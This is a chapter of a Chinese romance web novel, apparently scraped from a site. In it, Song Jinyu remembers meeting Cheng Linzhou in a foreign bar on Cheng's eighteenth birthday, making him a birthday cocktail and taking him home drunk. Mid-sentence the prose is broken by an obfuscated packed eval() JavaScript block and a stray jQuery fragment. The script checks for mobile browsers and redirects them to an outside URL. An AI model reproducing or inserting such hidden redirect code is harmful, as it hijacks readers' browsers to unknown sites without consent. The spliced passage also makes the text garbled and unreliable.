15.十八岁生日

作品:《钓系攻的恋爱脑丈夫失忆了

    黄昏时分。天空被晚霞染得斑驳浓郁。


    宋矜郁车停在了校外的路旁,他的手指又按在了喉咙口,干涩的感觉比上次更强,下意识伸手去摸副驾前面的储物柜。


    什么都没摸到。他想起来这不是那辆甲壳虫,而且他的棒棒糖只剩两根了,还没地方补货。


    “宋矜羽,你有没有在听我说话?”宋成章不满的嗓音从话筒中传出来,“我让你帮二少爷恢复记忆,你和他提什么大学的事?你的大学和他有关系吗?”


    宋矜郁嗯了一声表示在听,温和回答:“没有。”


    宋成章继续斥责:“事情过去那么久了,你现在说又有什么用?你难道还指望能来程氏工作?”他以恨铁不成钢的语气道,“当初要是听我的话留在江城,还不是想做什么就做什么。”


    这次宋矜郁没答。


    A市和江城一北一南,相距甚远。离开家去A大上学是他第一次依照自己的心意做决定,偷偷瞒了许多人。可惜最后还是没能留在那儿。


    之后没过多久他又出国读了艺术。那是他最放纵的几年,怀着游戏人生的报复心态,课没上几节,背着画本和颜料满世界疯跑。


    雪山,沙漠,热带雨林,非洲大草原……除了海上基本都去过。玩了一堆危险的极限运动,滑雪跳伞登山赛车,遇过雪崩和泥石流,吃错东西中过毒,大晚上被野兽围住帐篷。好几次差点没命,但又奇迹般化险为夷。


    印象最深的是一次滑野雪摔晕过去,他浑身剧痛地趴在雪地里动弹不得,不知道是附近的居民还是和他一样偶然路过的旅客,及时把他从山上扛下去,送进了医院。


    对方做好事不留名,宋矜郁没能获得救命恩人的信息,只依稀记得是一个很年轻的男性,把他从雪地上抱起来时喘息声有些颤抖。


    那次之后他收敛了许多,尽量“爱惜生命”。


    他还会提前说清楚,和途中遇见的合适的人开启一段恋情——牵手,拥抱,接吻,相伴体验不同的风貌,幻想成为当地人的一生,然后在旅途结束后干脆利落地分开。


    这些,都和程凛洲无关。


    直到差不多四年前。在F国。


    ……


    昏暗迷离的酒吧,空气里漂浮着酒精和浅淡的香薰味,音乐鼓点沉重,遮掩了大部分的人声。


    宋矜郁歪坐在吧台前,精心调好的酒被人抢走,粗鲁灌进喉咙,他只能咬下孤零零的橄榄。


    “三个月,你该给点回应了。”棕发碧眼的混血男人将马天尼杯用力搁下,昂头,长出一口浊气,“我还从没有追一个人追这么久过。”


    “我说过,不和同学恋爱。”宋矜郁嚼着脆脆的橄榄,涩得皱了下脸,“你要喝酒我请你,赛车也行,别的就算了。”


    “我有未婚夫。”他伸出左手给对方看自己的无名指,上面有一个素圈戒指,“——看。”


    那人冷笑:“你未婚夫知道你满世界和男人睡觉吗?”


    宋矜郁不以为意。


    首先他没睡,其次程廷峥还真知道。但这人太不礼貌,他懒得再和他啰嗦。


    “不喝就算了。”宋矜郁往空杯子里吐橄榄核。因为太难吃还小yue了一下。


    “骚货。”


    这动作不知怎么刺激了旁边人的神经,旁边传来恶狠狠的一句。


    宋矜郁皱眉望过去。


    “我没耐心再陪你玩那些无聊的游戏。”对方彻底撕下了面具,盯着他眼底涌现暴戾的情绪,“今天我来这就是为了睡你,而且非睡不可。”


    宋矜郁安静听着,搭在桌内侧的手指一伸,吧台里的人默默把一瓶啤酒倒着放在了他手上。


    “你以为你装得很好么?高岭之花?只谈情不上床?”那人丝毫不觉,探身过来,向下抓握宋矜郁的大腿,“你瞒得了别人瞒不了我,你就是个欠艹的婊——”


    酒吧迷离闪烁的光线中,混血男人的唇用力开合,宋矜郁清晰地看见在下一个音节发出前戛然而止,哐!


    不是他动的手。


    一道颀长挺拔的身影突然出现,像漫画分镜里的角色,一脚把按在他腿间的男人从斜角画格暴力踹出了边框,哐啷啷撞倒了身后的一排椅子。


    整个酒吧都因此陷入了寂静,无数视线向这边投过来,连音乐都停了。


    男生毫不在意,垂眼盯着地上挣扎起身的人,似乎准备随时补一脚。


    他穿了件看不出logo的黑色牛仔外套,工装裤和帆布鞋,袖口捋上去一截,小臂修长,手腕处骨骼明晰,戴了一块适配的黑银色机械腕表,贵气又冷感。


    宋矜郁视线上移……


    嗯。


    他刚刚还担心来人揍了这混血佬会收不了场,现在是不用了。


    玻璃酒瓶在掌心旋转一圈,宋矜郁开盖喝酒。


    ……


    没多会儿,身旁的座椅被拉开,收拾完残局的男生落座。


    宋矜郁侧眸和他对上视线,斟酌了一下开场白。


    “看你面熟,我们见过吗?”谁知,程凛洲先开了口,嗓音低冷。


    “?”


    宋矜郁一怔。这小子又不记得他了?


    也对。


    距上次某男高“索吻失败”都过去三年了,他出国后还染了个很不低调的发色。


    眸中多了几分兴味,宋矜郁打量着对方长开后更深邃凌厉的眉眼——他时常觉得程凛洲长得很英俊渣男。就那种表面冷酷,从眼皮子下面看人,实则很坏很会玩的。


    于是他问:“这是你们青少年搭讪的手段吗。”


    程凛洲皱眉:“不说就算了。”


    但人并未从位置上离开,拿起调酒师递过来的酒水单看了起来。


    宋矜郁喝了一口手中的草莓啤酒,不知所谓地撒了个谎:“应该没有吧。”


    程凛洲沉默了一会儿:“哦。”


    这声稍显生硬,许是搭讪没奏效,挫败了。


    手指在桌上点了点,他秉着为数不多身为“长辈”的责任心提醒:“你成年了吗?未成年不许饮酒。”


    程凛洲言简意赅:“今天。”


    这么巧。宋矜郁想了想,从位置上站起了身。


    酒吧的老板是他朋友,他熟门熟路走到了吧台后面,卷起毛衣袖口:“我请你喝一杯好么,算是你刚才替我揍那混蛋的报酬。”


    程凛洲放下了手里菜单,抬眼瞥他:“那是你前男友?”


    “不是啊,我眼光没那么差吧。”


    男生扯了一下唇角。


    宋矜郁看出了嘲讽和轻蔑。挺欠揍的。


    酒的名字就是生日快乐。没有固定的配方,他依照心情加入了口感相对柔和的伏特加、蓝橙利口酒和柠檬汁,搭配提前用蝶豆花泡过的苏打水,形成了一杯透亮的蓝紫色渐变。


    “喜不喜欢这个颜色?”他随口问。


    程凛洲往他头发上扫了一眼:“……还行。”


    最后在杯顶端挤入奶油,撒上五颜六色的彩针糖,又翻出来一根小熊蜡烛插在奶油上,点亮。


    明亮的火光在他白皙的指尖闪烁跳跃,宋矜郁把酒杯轻轻推到了男生面前。


    程凛洲抱着胳膊盯了两眼,语气听不出高兴还是不高兴:“你哄小孩儿?”


    “18岁不是小孩是什么。”宋矜郁说,“快许个愿吧,奶油马上就化了。”


    程凛洲板着脸不语。


    这个年纪的男生最容易浪漫过敏,宋矜郁猜他觉得矫情,说:“直接吹也行,我祝愿你十八岁每天开心。”


    程凛洲抬眸瞥了他一眼,火光摇曳间,眸光幽暗似深海。


    蜡烛熄灭。


    一杯掺了大半苏打水的特调鸡尾酒下肚,程凛洲趴在了吧台上。


    宋矜郁:“……”


    “噢,他看起来那么有型,酒量真够差劲的。”店员朋友说。


    宋矜郁也哭笑不得:“这是他第一次喝吧。”


    “我要下班了,你打算拿他怎么办?”店员指了指卡座的方向,“你可以扔在那,我保证很快就会有美丽的女士愿意领他回家。”


    “这人可不能乱扔。”宋矜郁摇头,穿上外套走了过去,“我带他走吧。”


    他拍了拍程凛洲,拉过他的胳膊想把人架在肩上。原本睡得很死的男生恢复了一点意识,扶着他肩膀站起了身,并未把太多重量压过来。


    “你住哪?”宋矜郁多了几分耐心。


    程凛洲耷拉着眼皮,视线不知道具体落在什么地方:“R国。”


    “我问你今晚住哪。”


    不说话了。


    “有同学和你一起来吗?”


    “我单身。”


    怎么答非所问啊,宋矜郁无语:“我送你去附近的酒店?”


    程凛洲正声:“C8总统套谢谢。”


    ……扔河里算了。


    宋矜郁选择把人带回家。


    他的住处离这里不远,是一个一室一厅的三十几平小公寓。


    醉鬼很安静,一路上他连耳畔的呼吸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770433|173456||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声都没怎么听到。进他家之后就更是一声不吭坐在沙发上,腰背挺得很直。


    宋矜郁去厨房冲了一杯蜂蜜水:“喝了。”


    程凛洲接过来,二话没说喝了个干净。


    挺乖的。


    宋矜郁接过空杯子,忍不住起了逗弄的心思。他指了指玻璃杯:“小帅哥,你上当了,这里面我下了毒。交出五百万我就给你解药,否则七步内必死无疑。”


    程凛洲眼皮跳了一下,面无表情地抬眸看向他。


    宋矜郁对他笑。


    男生很快垂下眼,咔咔两下,摘掉腕表递了过来。


    宋矜郁认得这个牌子,全球限量款,八位数。


    哎,败家子。


    他收了下来,打算明早再还给男生。


    “解药。”


    程凛洲开口,嗓音微哑,对着他摊开手。


    他的手掌宽,手指长而骨节分明,青筋和血管一直交错到指节上。相比较完美的人体范本,更多了几分粗暴感。


    宋矜郁欣赏了两眼,伸出一根食指,在男生掌心轻轻画了一个圈。


    程凛洲皱眉,盯着手掌专注地看,好似真的要望出个什么东西。宋矜郁两根手指推着他的手背按上了这张帅脸。


    “文明社会哪来的这种药?建议下载反诈中心。”


    .


    逗完人宋矜郁就心情很好地去洗澡了。


    他的浴室在卧室里面,洗完后歪在门框上向外一瞧,程凛洲还坐在原地,表情严肃地思索什么,不知道有没有清醒。


    “你要洗澡吗?我给你找套睡衣?”宋矜郁说,“但你晚上只能睡沙发或者气垫床。”


    男生没回答。


    彼时是十一月底,房间里有供暖。程凛洲脱掉了牛仔外套,里面是一件黑色的圆领长袖t。听到宋矜郁的话,他起身从沙发上走了过来,顺势撸起了袖子。


    这动作让宋矜郁往后退了一步。


    他不怀疑程凛洲的人品,但身材带来的压迫感是天生的。他这几年也交往过几个北欧帅哥,比例都罕有这么牛逼的。


    宋矜郁脑子一卡,想着万一出状况,不知道说“你小时候我还抱过你”这种话会不会有效果。


    程凛洲走到了他面前,他也退到了床边,再退就一屁股坐了下去。


    一只手按在对方肩上正要开口,另一只手里的毛巾却被抽走了。


    眼前一暗又一亮,毛巾兜在了他脑后,程凛洲捧着他的脑袋给他擦起了头。


    宋矜郁:“。”


    男生认真得像在完成作业,一条腿甚至半跪在了地毯上。宋矜郁的床不高,他坐在上面差不多比对方高一个头顶,稍微抬手就可以碰到。


    “帅哥,这是在做什么?”他轻声低语地问。


    程凛洲说:“吹风机。”


    宋矜郁伸手指了一下床头柜。


    程凛洲拿了过来,插电,站着帮他吹。


    他那时候头发没现在那么长,只堪堪过肩,吹起来挺快的,男生的手指在他发间游走,轻而有力地抚过头皮,可以看出来娴熟。


    “挺会照顾人啊。”宋矜郁放松了身体,随口问,“谈过女朋友?”


    程凛洲回答得很快:“没有。”


    顿了顿补充:“都没有。”


    宋矜郁还没反应过来,又听到程凛洲说,“我在发廊打过工。”


    ?


    ???


    这是真醉得不轻,都开始说胡话了。程家破产三遍也轮不着他去当发廊小弟吧。


    头发干得差不多了,宋矜郁招了招手示意对方弯腰,探了一下他的额头。


    没烧啊。


    程凛洲又半跪下来,垂着眼,说话明显有条理了一些:“你不相信?说不定我还帮你洗过头。”


    宋矜郁偷懒时倒是蛮喜欢去发廊洗头的,附近那家店他就是常客。


    他顺着对方讲话:“你这么帅,如果我在发廊碰见你一定会记住的。”


    程凛洲:“你洗头不闭眼睛?”


    宋矜郁一想,对哦。


    旁边的手机响了起来,他没看就捞过来接通,阴沉紧绷的男声瞬间钻进耳膜:


    “你晚上带人回去了?”


    ……


    挂断电话,扔到一边。


    宋矜郁再度垂眸打量眼前的男生,眼底情绪变幻许久,伸手挠了挠对方的下巴。


    视线相触,他食指顺着下滑,按在了凸起的喉结上:


    “今天怎么不喊我姐姐了?”